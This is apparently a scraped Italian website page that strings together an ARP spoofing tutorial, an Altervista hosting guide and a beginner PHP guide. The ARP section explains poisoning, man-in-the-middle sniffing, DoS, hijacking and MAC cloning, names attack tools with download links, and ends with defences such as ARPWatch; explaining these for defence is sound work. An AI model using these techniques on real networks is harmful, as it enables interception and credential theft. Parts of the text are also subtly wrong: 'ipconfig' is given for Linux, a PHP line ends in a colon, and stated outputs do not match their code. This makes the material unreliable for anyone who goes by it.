Arp Spoofing (Esperti)

Domini gratis
Introduzione all’ARP SPOOFING e alle tecniche di ATTACCO, Denial of Service e di DIFESA

S C O P O del Documento
Lo scopo di questo documento è di introdurre al lettore il concetto di ARP SPOOFING. ARP SPOOFING è un metodo per sfruttare le
interazioni tra IP e i protocolli Ethernet. L’ARP SPOOFING è applicabile solo in una network Ethernet.

I N T R O D U Z I O N E
Un computer collegato a un network basato su IP/Ethernet ha due indirizzi: uno è l’indirizzo fisico della scheda di rete ed è chiamato MAC address, mentre il secondo è l’indirizzo IP.

– L’indirizzo fisico o MAC Address è , in teoria, un indirizzo unico e non sostituibile, che è immagazzinato all’interno della scheda di rete. Ogni produttore ha un “range” di indirizzi fisici che può assegnare alle proprie schede e che identificano univocamente solo e solo quella scheda di rete a cui l’indirizzo specifico è stato assegnato. In teoria con particolari software è possibile intervenite all’interno della ROM della scheda di rete e modificare il MAC address. Il rischio, peraltro molto remoto, è che se dovreste incontrare nella vostra lan un’altra scheda di rete con lo stesso MAC address ci sarebbe con conflitto di instradamento ed entrambe le due schedi di rete non riuscirebbero a ricevere pacchetti.
Il MAC address è necessario per permettere di spedire e ricevere data in una rete Ethernet, indipendentemente dal tipo di protocollo che viene utilizzato sulla rete. Il protocollo Ethenet infatti costruisce un ” frame ” di dati di blocchi con 1500 byte di dimensione ed ogni frame ha all’interno dell’header del pacchetto ethernet il MAC Address della macchina (o meglio delle scheda di rete) sorgente del pacchetto e della macchina di destinazione.

– L’indirizzo IP deriva dall’applicazione al protocollo Ethernet, del protocollo IP ( Internet Protocol ) utilizzato dalle applicazioni, ed è
indipendente da qualunque tecnologia di networking funzioni sotto di esso. L’indirizzo IP è virtuale, rappresenta un’astrazione per permettere di costruire applicazioni senza obbligare a conoscere quale tecnologia di network viene utilizzata, e viene assegnato via software. Su un segmento di rete è necessario che ogni macchina abbia un indirizzo univoco, ed assegnato solo a quella macchina. Nel caso in cui due macchine abbiano lo stesso indirizzo IP entrambe le macchine non riusciranno più a comunicare con il resto della rete. IP e Ethernet lavorano ( e devono lavorare) insieme dato che il protocollo IP comunica attraverso la costruzione di pacchetti che sono simili ai frame ethernet,ma che hanno diversa struttura e questi pacchetti non possono essere consegnati senza la presenza del layer di rete. Infatti nel nostro caso i pacchetti IP sono consegnati attraverso Ethernet, il quale divide i pacchetti nei frames, aggiunge l’header ethernet per la consegna e spedisce i pacchetti attraverso il cavo di rete fino allo switch. Lo switch decide a quale delle sue porte deve spedire il frame, comparando l’indirizzo di destinazione del frame con gli indirizzi memorizzati nella sua tabella interna, nel quale “mappa” la porta ethernet al MAC Address della scheda a cui è collegato. Quando un frame etherner viene costruito, deve essere costruito partendo da un pacchetto IP.
Ovviamente, in quel momento durante la costruzione del frame, il protocollo ethernet non ha idea di quale sia il MAC address di destinazione della macchina a cui il frame deve essere spedito, e questo dato è necessario per costruire l’header ethenet che come detto prima contiene il MAC address di destinazione e sorgente del frame. L’unica informazione che è disponibile è l’IP di destinazione, che come detto sopra è virtuale e non è univoco (possono esistere X computer nel mondo con l’indirizzo 192.168.1.1, ma “dovrebbe” esistere solo e solo una scheda di rete con un indirizzo fisico.) ed è quindi necessario trovare un modo per cui partendo da questo dato, il protocollo ethernet posso arrivare a trovare il corretto MAC address della macchina di destinazione. Quindi dato l’indirizzo IP (virtuale, astratto) trovare un modo per risalire all’indirizzo fisico (reale, univoco) di computer all’interno di una inter-rete complessa.
Questo meccanismo di chiama ARP, ovvero Address Resolution Protocol, e che è quello che adesso vediamo.

Q U E L L O CHE S U C C E D E
Il protoccolo ARP o semplicemente ARP, lavorora inviando verso l’esterno con un broadcast un pacchetto ” ARP request “. Un pacchetto ARP request in poche parole, invia a tutti i computer della rete una domanda: ” Il tuo indirizzo IP è x.x.x.x? se si inviami indietro il tuo indirizzo MAC “. Come detto questo pacchetto viene spedito in broadcast a tutti i computer sulla rete che sia una LAN (Local Area Network) che uno “switched lan” ( rete complessa ) e ciascun computer esamina il pacchetto, verifica se ha assegnato in quel momento l’indirizzo ip richiesto nel pacchetto ARP, e se questa condizione è verificata, invia indietro alla macchina richiedente un pacchetto ” ARP reply” contenente il proprio MAC address. A questo punto la macchina che deve inviare il frame ethernet riceve il pacchetto ARP reply, estrae l’indirizzo MAC (quindi fisico, non astratto come l’indirizzo IP) e completa l’header del frame e lo invia alla macchina destinataria attraverso la rete.
Per ridurre al minimo il numero delle richieste ARP che vengono inviate su un segmento di rete, i sistemi operativi (e con essi router e switch) immagazzinano una cache delle entry ARP che ha finora ricevuto.
Quando un computer riceve un ARP reply, questo aggiorna la propria tabella con la nuova associazione IP address / MAC address e
siccome l’ARP è protocollo SENZA SESSIONE ed è un protocollo INAFFIDABILE (nel senso che il protocollo ARP non apre la sessione,
invia i dati, e chiude la sessione MA invia solo la parte dadi ed inoltre INAFFIDABILE perchè se il pacchetto ARP non giunge a destinazione non viene reinviato ad oltranza) molti sistemi operativi e dispositivi che necessitano di fare cache delle entry ARP (router appunto) aggiornano la propria tabella solo nel caso in cui alla macchina giunge una risposta alla sua request (ovvero quando ad un ARP Request, riceve la relativa ARP Reply)
Date queste premesse iniziamo a spiegare cos’è l’ARP SPOOFING ovvero l’invio “forzato” di pacchetti ARP reply, in cui il computer che
riceve questo pacchetto ARP reply viene messo in condizione tale per cui crede di spedire i frame ethernet al computer A (ovvero quello legittimo destinatario della connessione) ma che invece fisicamente lo spedisce al computer B il quale ha “spooffato” la entry ARP. Questo processo di “forzare l’update di una macchina bersaglio” con delle entry ARP è chiamato “ARP Poisoning”, letteralmente
AVVELENAMENTO ARP

#SNIFFING#

Gli Switches individuano quali frame devono essere inviati a una determinata porta eseguendo la comparazione
dell’indirizzo MAC di destinazione con la propria tabella MAC memorizzata. Questa tabella viene “costruita” all’accensione
dello switch, e aggiornata esaminando il MAC address sorgente prelevandolo dal primo frame ethernet trasmesso su ogni
porta. Normalmente (oramai quasi tutte le schede di rete possono farlo) le interfacce di rete possono assumere lo stato
definito ” promiscuos mode “, dove la scheda è autorizzata a esaminare i frames destinati a MAC address di cui non sono
proprietari (è proprio sfruttando questa modalità che vengono implementati sui vari OS gli sniffer), ma questo non avviene
per quello che riguarda gli switch, in quanto DEVONO ruotare i frame in base alla tabella IP/MAC di cui abbiamo parlato
poco prima. Questo serve a prevenire lo sniffing dei frame destinate macchine. Ma per quanto questo sistema sia stato
implementato utilizzando l’ARP poisoning , esistono alcuni modi, per cui è possibile effettuare lo sniffing su una rete
switched.
Una di queste è il ” man-in-the-middle “, letteralmente “uomo-nel-mezzo” (cmq useremo l’abbreviativo di MitM) e consiste
in un utente che inserisce la propria macchina nel “percorso” delle comunicazioni tra i due computer che intende prendere
di mira.
A questo punto il computer nel mezzo invierà i frames tra i due computer senza interromperne la comunicazione, e la
descrizione di come avviene il processo è quella che segue:

Se ipotizziamo che X è la macchina “attaccante”, ovvero quella poi intercetterà le comunicazione tra le due macchine
legittime, e che C1 e C2 sono le due macchine prese come bersaglio avremo che:

– X eseguirà un ARP Poisoning delle ARP cache di C1 e C2
– C1 assocerà l’indirizzo IP di C2 (ricordiamo che l’indirizzo IP è virtuale o meglio “astratto”) con l’indirizzo FISICO (reale)
del MAC address di X
– C2 assocerà l’indirizzo IP di C1 con il MAC address di X

A questo punto tutto il traffico che verrà generato da C1 e C2 verso l’altro, prima passerà attraverso X, prima appunto di
venir mandato alla corretta destinazione. Questo è un metodo veramente efficace se, come detto prima, non solo i singoli
HOST (computer) possono essere “avvelenati”, ma con essi anche router/gateway switch ecc ecc ecc. In questo modo tutto
il traffico internet ( o inter-rete se preferite ^_^ ) può essere intercettato con questo metodo semplicemente eseguendo
un attacco MitM sul computer che intendiamo “sniffare” e il router della LAN

Un altro metodo di sniffing altrettanto efficace sugli apparati switch della rete è il cosiddetto “ARP flooding”, che consiste
nel “flooddare” (letteralmente nell’inondare) lo switch con una successione rapida e massiccia di pacchetti ARP reply,
fino a mandare in overflow la tabella con le associazione port/MAC di quella determinata porta. Una volta eseguito un
attacco di questo tipo, il risultato è semplice e dimostrato qui sotto:

se X è il nostro consueto computer da cui lanciamo l’attacco, C1 il computer preso come bersaglio e SW1 lo switch a cui
siamo collegati sia X che C1, quello che avviene è semplice.

– X esegue l’ARP flooding di pacchetti ARP reply verso SW1, in cui l’IP di C1 viene associato al MAC address di X
– SW1 quando riceve un frame destinato all’IP di C1, fa quello per cui è stato programmato per fare: verifica nella sua
tabella se il MAC di destinazione è presente, e quando lo trova lo gira verso la porta associata a quel MAC. MA invece di
girare i pacchetti verso la porta 1 a cui è fisicamente agganciato C1 lo gira verso la porta 2 dove invece è collegato X,
questo perchè nella sua tabella la entry IP di C1 è associata al MAC address di X e quindi associata alla porta 2 in cui X è
collegato
– C1 non riceverà più nessun pacchetto, neppure le risposte a pacchetti ICMP finché la cache dello switch non verrà
aggiornata oppure finché lo switch non verrà spento e riacceso.

Finora abbiamo visto come usando L’ARP poisoning sia possibile eseguire dello sniffing. Ora vedremo come è possibile fare
un Denial of Service (DoS) ed un’altra serie di attacchi che possono essere eseguiti sfruttando la stessa peculiarità del
protocollo ARP.

#DoS#

Eseguendo l’aggiornamento della cache ARP dei dispositivi con una entry ARP di un MAC Address non esistente, si causerà l’eliminazione dei frame ethernet e questo può essere fatto in maniera radicale su tutti gli host su di una rete, causando appunto l’interruzione delle comunicazioni. Un DoS appunto.
Questo normalmente è uno degli effetti postumi di un attacco Man-in-the-Middle, dove un computer preso a bersaglio continuerà ad inviare i frame all’indirizzo MAC del computer attaccante anche dopo che questi ha rimosso se stesso dal percorso di comunicazione. Per eseguire un attacco MitM, in modo “pulito” sarebbe necessario (e consigliato” avere le ARP entry originali dei dispositivi presi in causa in modo che terminato lo sniffing si posso ristabilire le corrette entry.

#HIJACKING#

Una ” Connection hijacking ” permette ad un attaccante di prendere il controllo della connessione tra due
computer,usando un metodo molto simile a quello che viene utilizzato per eseguire un attacco MitM. Questo trasferimento
di controllo può avvenire in ogni tipo di connessione, ad esempio, un attaccante potrebbe prendere il controllo di una
sessione telnet dopo che il computer preso a bersaglio ha accettato la login da parte di un amministratore.

#CLONING#

Come detto precedentemente il MAC addresses è stato definito per essere un identificativo globalmente UNICO e che
identifica solo e solo quella interfaccia di rete prodotta da quella specifica casa produttrice e che questo indirizzo MAC è
“stampato” all’interno della ROM dell’interfaccia di rete. Ma è anche vero che oggi il MAC Address di una scheda di rete
può essere facilmente cambiato. GLi utenti di sistemi Linux possono facilmente sostituire e cambiare il proprio MAC
address senza dover ricorrere a software di spoofing, e semplicemente utilizzando il comando “ipconfig” (per chi non fosse
pratico, il comando che permette di gestire la configurazione dell’interfaccia di rete nel sistema operativo). In questo
modo un attaccante può facilmente eseguire un DoS verso un computer bersaglio, assegnando a se stesso l’IP e il MAC
address del computer che si intende colpire, ricevendo al posto tutto tutti i frame che sarebbero dovuti essere consegnati
a lui.

T O O L S per fare ARP Poisoning

*PARASITE*
HTTP://WWW.THEHACKERSCHOICE.COM/RELEASES.PHP

Parasite è un demone che rimane in attesa ed “ascolta” sulla lan in attesa di intercettare le richieste ARP, e automaticamente
invia le conseguenti ARP Replay spooffate. In questo modo Parasite fa automaticamente eseguire al computer dell’attaccante un MitM
verso tutti i sistemi che propagano le loro Arp request. Per precisione occorre anche dire che nello stesso modo in cui
compie un attacco “automatico” Parasite non esegue una “pulitura” chiara quando viene fermato il demone, portando ad eseguire
un DoS verso tutti quei sistemi che aveva precedentemente spooffato, seguendo proprio la tecnica di DoS descritta poche righe
sopra. Per ripristinare il corretto funzionamento delle operazioni di rete delle macchine colpite bisogna o aspettare il
normale scadenza della cache arp dei sistemi colpiti e/o degli switch oppure riavviarli drasticamente.

*ETTERCAP*
HTTP://ETTERCAP.SOURCEFORGE.NET

Ettercap è un potentissimo software creato per unix e linux, di cui oggi esiste anche un porting sotto Win32 (necessita le
librerie Ethercap facilmente scaricabili dal web) che dispone di una GUI (Graphic User Interface) testuale ed abbastanza
semplice da poter essere usato da chi ha un minimo di conoscenza o anche dai cosiddetti “script kiddies”. Con Ettercap
tutte le operazioni sono automatiche, e il computer da prendere a bersaglio può essere scelto da una lista degli hosts
individuati sulla rete. Ettercap può eseguire 4 metodi di sniffing: IP, MAC, ARP e Public ARP e può automatizzare anche le
seguenti procedure:

– L’inserimento (Injecting) di caratteri nelle connessioni
– Sniffing di sessioni criptate SSH
– Immagazzinare la password inviate sulla rete
– Eseguire il Fingerprinting dei OS
– e la cosiddetta ” connection killing ” ovvero il blocco completo delle connessione verso un dato host
Inoltre sono disponibili numerosi PLUG-IN che permettono di eseguire anche altre serie di operazioni e ve ne sono altri in
sviluppo.

*ARPOISON*
HTTP://WEB.SYR.EDU/~SABUER/ARPOISON/

è un Tool a linea di comando (cml) sviluppato per UNIX, che può creare pacchetti ARP spooffati. COn questo tool l’utente
può specificare l’IP e il MAC address della sorgente e della destinazione.

LA D I F E S A

La miglio difesa contro l’ARP spoofing è di abilitare il vincolo dei MAC address, sugli switch.
Questa operazione è disponibile sugli switch di alta qualità che non permettono che un MAC address associato a una
porta possa essere cambiato una volta che è stato definito in operazione di setup (ovviamente via CML (command line)
o una eventuale GUI dello switch possono reimpostare questi parametri), ma questo obbliga ad eseguire l’operazione
di “legittimazione” dei MAC address sullo switch manualmente dall’admin della rete dopo averli pianificati a tavolino.
Certo una cosa poco gratificante e laboriosa da fare, che molti, per questo trascurano di fare.
Un’altra difesa è utilizzare delle rotte statiche. La cache ARP dei sistemi può avere delle entry statiche nelle proprie
tabelle (quindi non modificabili) per cui ogni ARP replies spooffata viene ignorata. Questo tipo di approccio non è
sempre praticabile in ogni tipo di ambiente, ma solo per piccolo ambienti con pochi host oppure lan domestiche, e dove
naturalmente l’ARP spoofing ha poca rilevanza come problema. Ma c’è da fare anche una nota molto interessante che riguarda
l’implementazione di rotte statiche su sistemi Windows. Le prove fatte hanno messo in evidenza che i sistemi Windows
continuano ad accettare le ARP replies spooffate che continua ad utilizzare rotte dinamiche invece delle rotte statiche inserite
annullando completamente l’effetto dell’uso di quest’ultime come difesa contro questo dipo d’attacco.
Un altro sistema di difesa molto efficace e pro-attivo contro ARP poisoning e ARP spoofing è ultilizzare ARPWATCH.
ARPWatch è un tools software completamente free scritto per UNIX che elenca le ARP replies sul network, le immagazzina in
una tabella associando IP/MAC esattamente come farebbe una cache ARP e salva la tabella in un file. Ogni volta che un MAC
address associato con uno specifico IP cambia, il software invia un’email all’amministratore della rete. Ovviamente il network
deve prevedere o l’indirizzamento IP delle macchine fisso, oppure nel caso della presenza di un server DHCP, l’assegnazione
dell’indirizzo IP in base alla tabella di MAC address e all’assegnazione dell’ip solo a quello specifico MAC anche se in un
ambiente DHCP identificare l’effetto “flip-flops” è molto difficile da rilevare.

Successivi test hanno portato alla luce che Parasite causa un vero e proprio flood di flip-flops all’interno della lan,
lasciando il MAC address della macchina attaccante nel registro di Arpwatch e nella mail di segnalazione dell’attacco.
Anche Ettercap causa numerosi flip-flop, ma quest’ultimi, soprattutto in una rete DHCP sono molto difficili da individuare
proprio perché una in rete DHCP questo tipo di effetto avviene a intervalli regolari. Quindi è consigliabile in una rete
in cui è auspicabile pensare a una prevenzione contro ARP spoofing pianificare l’assegnazione degli indirizzi IP in maniera
statica e lasciare che il server DHCP rilasci solo una piccola porzione di IP liberi, giusto quelli necessario a fornire un
servizio di connessione ad eventuali ospiti.
Questo possono essere quindi dei validi sistemi per identificare e risolvere i problemi di MitM o ARP spoofing.
Contro il cloning del MAC address, è molto facile indentificare il problema utilizzando il RARP (Reverse ARP), ovvero è il protocollo
che compie l’esatto inverso del protocollo ARP, quindi dato un conosciuto MAC address viene generata una richiesta per conoscere
l’IP ad esso associato. In presenza di risposte multiple a questa richiesta, ci si trova in presenza di un MAC clonato. Per
identificare poi la presenza di una o più macchine che lavorano con la scheda di rete in “promiscuous mode” esistono numerose
tecniche e tools dedicati sia per ambienti Win32 che per ambienti Linux/UNIX. Proprio per questo motivo, per la diversità dei sistemi
operativi diffusi, è importante ricordarsi che ogni sistema operativo ha un proprio stack TPC/IP e che ogni release dello stesso
SO può apportare modifiche radicali allo stack e conseguentemente anche comportamenti differenti sia alle richieste ARP sia ai tutti
gli altri protocolli, e che allo stesso modo schede di rete diverse hanno driver diversi e quindi diversi modi di interagire
a livello fisico con i protocolli. Di queste variabili è sempre buona cosa tenere in considerazione con le opportune riflessioni.
Un esempio potrebbe essere Solaris, il quale ha implementato nel proprio stack tpc/ip una gestione delle request e replies arp
completamente diversa da qualsiasi altro produttore e finora unica nel suo genere. (in pratica Solaris accetta l’update delle ARP
solo quando queste scadono, scartando qualsiasi altro replies gli arriva prima di questa scadenza, ed obbligando l’attaccante prima
a dover spooffare una seconda macchina con cui la wks Solaris è in connessione prima di effettuare il tentativo verso quest’ultima.
In questo caso un buon sistema di intrusion detection può individuare facilmente quello che sta succedendo avvisando l’amministratore della rete)

C O N C L U S I O N I

L’ARP spoofing in conclusione è una delle numerose vulnerabilità che esistono negli attuali protocolli di networking. Questo permette
ai persone con le dovute conoscenze di poter prendere il controllo e controllare macchine su una rete. Questa situazione ha difficili
possibilità di correzione, in quanto il protocollo IP e il funzionamento delle comunicazioni informatiche come noi le conosciamo
oggi si basa proprio su questi meccanismi che peccano di queste debolezze intrinseche, generate insieme al prodotto stesso e che a meno di una riconversione totale, poco attuabile nell’immediato, rappresentano problemi che bisogna tenere in considerazione. ARP poioning, frammentazione dei pacchetti TPC e ICMP redirection sono esempi di questi problemi e vulnerabilità legate al modo di funzionare stesso del protocollo.

I test qui citati sono stati testati utilizzando i tools citati in ambienti sia linux che windows (NT, 2000, w9x, XP) e questi tools non
sono gli unici che possono essere utilizzati, e reperiti nel Wire, ma sicuramente sono tra i più diffusi e documentati. Parte di questo
documento è stato in base redatto dalla documentazione reperibile sul web sugli stessi prodotti e in parte anche da altre paper
inerenti problemi di security dei protocolli ARP e ICMP, e da altri forum sparsi per il wire.

Creare un sito Su Altervista

Domini gratis
Salve a tutti voi miei giovani webmaster! oggi vi spiegherò come creare un sito con altervista, ovviamente come requisiti minimi servono:

-internet
-conoscenza Almeno Basiliare dell’html
-Avere Una casella email

iniziamo andando su altervista.org ed iscriversi!

i campi da compilare per la registrazione sono ottimamente comprendibili, quindi non spiegherò questo passo, indi andiamo avanti. A questo punto dobbiam creare la nostra stupenda pag html, io hosterò la mia pag html con un alert e uno scritto in rosso hello world😀 al centro con effetto marquee e lampeggiante:

<html>
<head><title>Hello World!</title></head>
<body>
<script>alert(“Hello World!”)</script>
<center><marquee><blink><font color=”red”>Hello World!</blink></font></center></marquee>
</body>
</html>

Dopodichè andate su documenti e nella barra deji indirizzi scrivete :
ftp://NOMEACCOUNT.altervista.org

fate invio e vi chiederà nick e password, inserite nick e password di altervista e siete dentro l’ftp! ora trascinate il file html che abbiamo creato, oppure il sito, and ouilà! vi sarà la vostra pag publicata! come visualizzarla?

http://NOMEACCOUNT.altervista.org/NOMEPAG.html

sostituendo ovviamente i campi nomeaccount con il vostro nome utente altervista e nomepag con la nominazione della pag hostata!

Per far comparire la pag su http://NOMEACCOUNT.altervista.org/ senza altre parole dopo lo slesh basterà rinominare la pag principale INDEX.HTML !

per personalizzare invece l’errore Not Found (404) creare una pag in html chiamata not_found.html !!

Enjoy By GildeRHacK

Guida Al PhP Di Base

Domini gratis

Guida di base al php – Installazione di PHP come modulo di Apache

Installare il supporto PHP

Installazione su Linux

Scaricare la più recente versione di Apache e di PHP.
Questa guida rapida copre soltanto le basi per partire con Apache 2.0 e PHP.
Per maggiori dettagli leggere la documentazione di Apache.
In questo esempio è stata omesso il numero di versione per evitare problemi nelle istruzioni presentate. Nell’installazione reale occorre sostituire ‘NN’ con il corretto numero della versione installata.

Esempio 3-5. Istruzioni per l’installazione (Apache 2 con modulo condiviso)

Fermare il server prima di effettuare l’installazione di PHP.

1. cd ../php4-NN
2. ./configure –with-apxs2=/usr/local/apache2/bin/apxs
3. make
4. make install
5. cp php.ini-dist /usr/local/lib/php.ini

Modificare il php.ini per impostare le opzioni di PHP.
Se si desidera pozionare questo file in altra directory, utilizzare
–with-config-file-path=/path al passo 2.

6. Modificare httpd.conf e verificare la presenza delle seguenti linee:

LoadModule php4_module modules/libphp4.so
AddType application/x-httpd-php .php

Si può segliere qualsiasi estensione di desideri. Il nostro suggerimento è di utilizzare .php.
Il percorso indicato nel lato destro della riga LoadModule deve puntare al percorso in cui si trova il modulo PHP. L’esempio illustrato è coerente con i parametri sin qui impostati.

7. Utilizzare la solita procedura per avviare Apache, es.:

/usr/local/apache2/bin/apachectl start

Installazione su Windows

Scaricare la più recente versione di Apache e di PHP. Esistono due metodi per configurare PHP e Apache 2.0 su Windows. Uno consiste nell’uso dell’eseguibile CGI, l’altro consiste nell’utilizzo del modulo DLL. Ho scelto di trattare solo l’installazione come modulo perchè migliore rispetto all’altra in termini di prestazioni. In entrambi i casi occorre fermare Apache e modificare il file httpd.conf per cambiarne la configurazione.

Di seguito vengono riportate le istruzioni per installare PHP come modulo del server web Apache, che si assumerà correttamente installato.
Lanciare il file php-4.3.3-installer.exe.

Una volta terminata l’installazione aprire php.ini residente nella directory C:/Windows con un qualsiasi editor testuale e modificare la voce extension_dir specificando la cartella che contiene le estensioni; nel nostro caso C:\php.

Spostarsi nella directory contenente i file di configurazione di Apache ed aprire il file httpd.conf con il medesimo editor testuale.
Inserire le seguenti direttive:

LoadModule php4_module c:/php/sapi/php4apache.dll
AddType application/x-httpd-php .php .php3 .phtml

Salvare il file e riavviare il server. Fatto ciò create un file chiamato test.php con il seguente codice:

<?
phpinfo();
?>

e mettetelo nella cartella del server. Aprite quindi il browser e digitate localhost/test.php. Se vedrete una schermata con delle informazioni relative alla configurazione PHP significherà che il modulo è stato installato correttamente!!!!

Guida di base al php – Variabili e costanti

Le variabili

In php è molto semplice dichiarare le variabili. Basta infatti far precedere il loro nome dal carattere “$” (senza virgolette) e quindi assegnargli un valore. Sarà poi l’interprete php a definirne il tipo. Semplice no?

<?
$var = “stringa”; //questa variabile rappresenta una stringa interpolata
$var = ‘stringa’; //questa variabile rappresenta una stringa non interpolata
$var = 4; //questa variabile rappresenta un numero intero
$var = 1.45; //questa variabile rappresenta un numero floating point
$var = “4”; //questa variabile rappresenta una stringa
?>

Il simbolo “=” stà a indicare che quello che segue è il contenuto della variabile. Se il contenuto della variabile è all’interno dei simboli “” indica che è una stringa, se non è contenuto in nessun simbolo è un numero intero o decimale. Il contenuto di una variabile stringa può a sua volta contenere un’altra variabile ed interpolarla, a patto che siano usati i simboli “” ad esempio:

<?
$visitatore=”Marco”;
$saluto=”Ciao $visitatore”;
print “$saluto”;
?>

Il risultato sarà: Ciao Marco Mentre utilizzando:

<?
$visitatore=’Marco’;
$saluto=’Ciao $visitatore’;
print “$saluto”;
?>

Il risultato sarà: Ciao $utente Un altro tipo di variabile è l’array, cioè variabili che contengono più valori, ad esempio può essere utile avere una variabile con tutti i mesi dell’anno. Per creare un array con i mesi dell’anno ad esempio si può scrivere:

$mesi = array (“Gennaio”, “Febbraio”, “Marzo”, “Aprile”, “Maggio”, “Giugno”, “Luglio”, “Agosto”, “Settembre”, “Ottobre”, “Novembre”, “Dicembre”);

Quindi questo array contiene 12 elementi e per richiamare un singolo elemento basta richiamare la sua posizione, ad esempio: print “$mesi[11]”; stamperà Dicembre, questo perchè il conteggio delle posizioni inizia da 0, quindi $mesi[0] stamperà Gennaio. Per mostrare tutti gli elementi dell’array è necessario creare un ciclo for (che tratteremo più avanti) come nell’esempio:

<?
for($i=0;$i < count($mesi);$i++) {
print “$mesi[$i]”;
}
?>

Per aggiungere un elemento all’array basta dichiararlo come una semplice variabile, aggiungendo però la posizione di inserimento. Se la posizione viene lasciata vuota l’elemento viene aggiunto alla fine dell’array.

$mesi[2] = “sostituzione di Marzo”; //inserirà alla posizione 2 il valore “sostituzione di Marzo”

oppure:

$mesi[] = “variabile aggiunta”; //inserirà alla fine dell’array, quindi in posizione 12 il valore “variabile aggiunta”

Le costanti

La definizione di semplici costanti è molto simile alla #define del C, solo che si usa la funzione define():

int define (string name, mixed value [, int case_insensitive])

Name è una stringa indicante il nome della costante
Value è il valore, con la limitazione che deve essere uno scalare, perciò non potete definire un array costante
Il terzo parametro vale 0 per default, se specificate 1, la relativa costante sarà riferibile in modo case-insensitive. Per default quindi anche i nomi di costante sono case-sensitive.

<?
define(“ANT_ETA”, 23);
?>

Per indicare una costante basta scriverne semplicmente il nome, che NON deve essere preceduto da $ (in questo modo PHP distingue tra costanti e variabili):

<?
echo ANT_ETA;
?>

Guida di base al php – Gli operatori

Gli operatori aritmetici

Gli operatori aritmetici realizzano le operazioni aritmetiche più semplici in assoluto e sono semplicissimi da utilizzare.
Sono in tutto cinque:
L’operatore di somma, il cui simbolo è il segno più “+”, che effettua la somma tra due variabili di tipo numerico.
L’operatore di sottrazione, il cui simbolo è il segno meno “-“, che effettua la differenza tra due variabili di tipo numerico.
L’operatore di moltiplicazione, indicato dal tradizionale simbolo “*”, che effettua il prodotto tra due variabili di tipo numerico.
L’operatore di divisone, il cui simbolo è la barra diagonale “/” o slash, che restituisce il quoziente tra due variabili di tipo numerico.
L’operatore di modulo, il cui simbolo è il carattere di solito stante ad indicare la percentuale “%”. L’operazione di modulo effettua la divisione intera tra i sui operatori restituendo non il quoziente bensì il resto di tale divisione.
Per esempio il frammento di codice di seguito riportato:

<?
$a = 11:
$b = 3;
$c = $a % $b;
echo $c;
?>

avrà come effetto quello di visualizzare il valore intero 2.

Gli operatori di assegnamento

Questi operatori vengono utilizzati per assegnare un valore desiderato ad una variabile.
Il valore da assegnare può essere dato da una costante o dal risultato di una espressione.
Tra questi operatori il più semplice e il più comunemente usato è l’operatore di assegnamento semplice.
Il suo simbolo è il segno uguale singolo “=”. Attenzione a non confonderlo con l’operatore di confronto.
Questo viene utilizzato per assegnare un valore ad una variabile e non per testare l’uguaglianza tra due espressioni.
Oltre a questo ne esistono altri detti “combinati”. Il nome non è casuale ma deriva dal fatto che essi combinano gli effetti dell’operatore di assegnamento con quello di altri operatori: gli operatori aritmetici.
Gli operatori di assegnamento composto sono individuati dai simboli:

+= Assegna alla variabile a sinistra del simbolo la somma tra il suo valore attuale e il valore dell’espressione o costante a destra del simbolo stesso.
-= Assegna alla variabile a sinistra del simbolo la differenza tra il suo valore attuale e il valore dell’espressione o costante a destra del simbolo stesso.
*= Assegna alla variabile a sinistra del simbolo il prodotto tra il suo valore attuale e il valore dell’espressione o costante a destra del simbolo stesso.
/= Assegna alla variabile a sinistra il risultato dell’operazione di divisione tra il suo valore attuale e il valore dell’espressione o costante a destra del simbolo stesso.
%= Assegna alla variabile a sinistra il risultato dell’operazione di modulo tra il suo valore attuale e il valore dell’espressione o costante a destra del simbolo stesso.

Operatori di confronto

Gli operatori di confronto vengono utilizzati per effettuare la comparazione tra i valori assunti da due differenti variabili; sono nove, di questi otto sono operatori binari, mentre uno è un operatore ternario. Essi sono:

L’operatore di uguaglianza, simbolo ==, restituisce TRUE se l’operando di destra ha un valore uguale a quello di sinistra.
L’operatore di disuguaglianza, simbolo !=, restituisce TRUE l’operando di destra ha un valore diverso da quello di sinistra.
L’operatore di identità, simbolo ===, restituisce TRUE se l’operando di destra ha un valore uguale a quello di sinistra e sono dello stesso tipo.
L’operatore di non identità, simbolo !==, restituisce TRUE se l’operando di destra ha un valore diverso da quello di sinistra o non sono dello stesso tipo.
L’operatore di maggioranza stretta, simbolo >, restituisce TRUE se l’operando di sinistra è maggiore di quello di destra.
L’operatore di maggioranza, simbolo >=, restituisce TRUE se l’operando di sinistra è maggiore o uguale a quello di destra.
L’operatore di minoranza stretta, simbolo <, restituisce TRUE se l’operando di sinistra è minore di quello di destra.
L’operatore di minoranza, simbolo <=, restituisce TRUE se l’operando di sinistra è minore o uguale a quello di destra.
L’operatore ternario, simbolo “?”, opera come nel Linguaggio C e in molti altri linguaggi e viene utilizzato per l’esecuzione condizionata di due diverse espressioni; per esempio il codice:

espressione1 ? espressione2 : espressione3;

sta ad indicare che se espressione1 è vera bisogna valutare espressione2, in caso contrario occorre valutare espressione3.

Operatori logici

A questa classe appartengo tutti quegli operatori che effettuano le più elementari operazioni di logica booleana. Ne fanno parte:

L’operatore AND, simbolo AND o && (es. $a AND $b o $a && $b), ritorna TRUE se entrambi gli argomenti sono TRUE.
L’operatore OR, simbolo OR o || (es. $a OR $b o $a || $b), ritorna TRUE se almeno uno dei due argomenti è TRUE.
L’operatore XOR, simbolo XOR (es. $a XOR $b), ritorna TRUE se almeno uno degli argomenti, ma non entrambi, è TRUE.
L’operatore NOT, simbolo ! (es. !$a), ritorna TRUE se entrambi l’argomento è FALSE, FALSE in caso contrario.

Guida di base al php
Il costrutto If…Then…Else

Il costrutto if…then…else

Il costrutto if…then…else, tramite il quale è possibile controllare il flusso del programma, ha in Php la seguente sintassi:

if (condizione){
istruzione1;
}
else {
istruzione2;
}

La condizione generalmente consiste nel comparare una variabile con una costante o due variabili tra loro. Se la condizione risulta vera (cioè restituisce il valore true) allora viene eseguita istruzione1 altrimenti viene eseguita istruzione2.
Vediamo subito un esempio. Il seguente codice:

<?
$Surname = “Rossi”;
if ($Surname == “Rossi”){
echo (“Hello, Sig. Rossi!”);
}
else{
echo (“Who are you?”);
}
?>

fornirà l’output: Hello, Mr. Rossi!
In quanto la prima condizione risulta subito verificata.
Per eseguire confronti tra variabili e/o costanti si fa uso degli operatori di confronto che abbiamo già trattato.
Se istruzione1 è un’istruzione composta e preferite evitare le parentesi graffe potete ancora far uso della parola chiave endif come mostrato di seguito.

if (condizione)
istruzione1;
endif;

